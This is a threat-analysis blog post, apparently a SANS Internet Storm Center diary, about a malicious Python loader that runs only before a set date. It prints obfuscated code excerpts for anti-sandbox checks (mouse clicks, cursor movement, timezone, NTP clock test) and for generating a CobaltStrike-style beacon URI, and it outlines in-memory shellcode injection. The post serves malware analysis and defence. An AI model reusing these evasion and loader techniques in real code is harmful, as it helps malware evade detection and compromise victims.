Malicious Python Script with a “Best Before” Date, (Thu, Jun 6th)

Category :

SANS Full Feed

Posted On :

When you buy some fresh food, it’s always a good idea to keep an eye on the best-before date. I found a funny piece of malicious Python script that implements the same technique. It will execute only before a specified date (Jun 10th in this case). The script purpose is classic: it will fetch a payload from a remote site, inject it in memory and start a new thread. Such payload are usually related to CobaltStike. I think that the script is still being developed and the attacker tested its score on VT because the payload is fetched from an RFC1918 IP address.

I won’t cover the code injection part because it’s super common: 

Allocate some memory with VirtualAlloc() and 0x40 (PAGE_EXECUTE_READWRITE)
Copy the payload in the newly allocated memory with RtlMoveMemory()
Launch if with CreateThread() and WaitForSingleObject()

The most interesting part is related to the anti-VM and anti-debugging techniques. The script implements multiple checks.

First, as said in the title, it has an expiration date and won’t detonate after it:

tOyPJeSBB = datetime.strptime(“24-06-10″,”%y-%m-%d”)

Then, it detects if a user is using the mouse:

sPrMcMrd = 0
ZSAdShMGbnjn = 300
while sPrMcMrd < ZSAdShMGbnjn:
lhCIIwcaO = win32api.GetAsyncKeyState(1)
PUlVQpUUGQwz = win32api.GetAsyncKeyState(2)
if lhCIIwcaO % 2 == 1:
sPrMcMrd += 1
if PUlVQpUUGQwz % 2 == 1:
sPrMcMrd += 1
if sPrMcMrd >= ZSAdShMGbnjn:

GetAsyncKeyState() is used to detect if the user presses some keys but this API call can do more. If you pass the keycodes 0x01 or 0x02, you will test if, respectively, the left and right mouse button is used[1].

Then,  it detects if the mouse is moving:

SJlEvm, OsmSmAnVBYAbB = win32api.GetCursorPos()
mCBvRLEZPc, FTIUWfDRINwDu = win32api.GetCursorPos()
if SJlEvm – mCBvRLEZPc != 0 or OsmSmAnVBYAbB – FTIUWfDRINwDu != 0:

Why checling the mouse position if we already detected a “click”? Some old sandboxes just move the mouse or simulate click but not both. 

The system timezone is also checked:

import time as eJXueV
if eJXueV.tzname[0] != “Coordinated Universal Time” and eJXueV.tzname[1] != “Coordinated Universal Time”:

Finally, some sandboxes manipulate the system clock. For bypass this, the script tests the time via NTP:

client = socket.socket(AF_INET, SOCK_DGRAM)
client.sendto((bytes.fromhex(“1b”) + 47 * bytes.fromhex(“01”)), (“”,123))
msg, address = client.recvfrom( 1024 )
trdooQNWRx = datetime.datetime.fromtimestamp(struct.unpack(“!12I”,msg)[10] – 2208988800)
client.sendto((bytes.fromhex(“1b”) + 47 * bytes.fromhex(“01”)), (“”,123))
msg, address = client.recvfrom( 1024 )
if ((datetime.datetime.fromtimestamp((struct.unpack(“!12I”,msg)[10] – 2208988800)) – trdooQNWRx).seconds >= 1500):

If all these conditions are met, the payload is fetched and injected in memory.

To fetch the payload, a random 4-characters string is added as URI:

def uwvPCLCq(s): return sum([ord(ch) for ch in s]) % 0x100
def eZXAAmANKYtzQ():
for x in range(64):
afeookOu = ”.join(random.sample(string.ascii_letters + string.digits,3))
wOozSRtIoWO = ”.join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random()))
for BuJqgEjrd in wOozSRtIoWO:
if uwvPCLCq(afeookOu + BuJqgEjrd) == 92: return afeookOu + BuJqgEjrd

Here is an example:

>>> eZXAAmANKYtzQ()
>>> eZXAAmANKYtzQ()
>>> eZXAAmANKYtzQ()

This looks exactly like a default CobaltStrike beacon! The script has currently a score of 12/71 on VT (SHA256: eca1cd9ce317ada991e0a037e70c15e471e9076faa58adf682efbfe22ffa747f[2])


Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.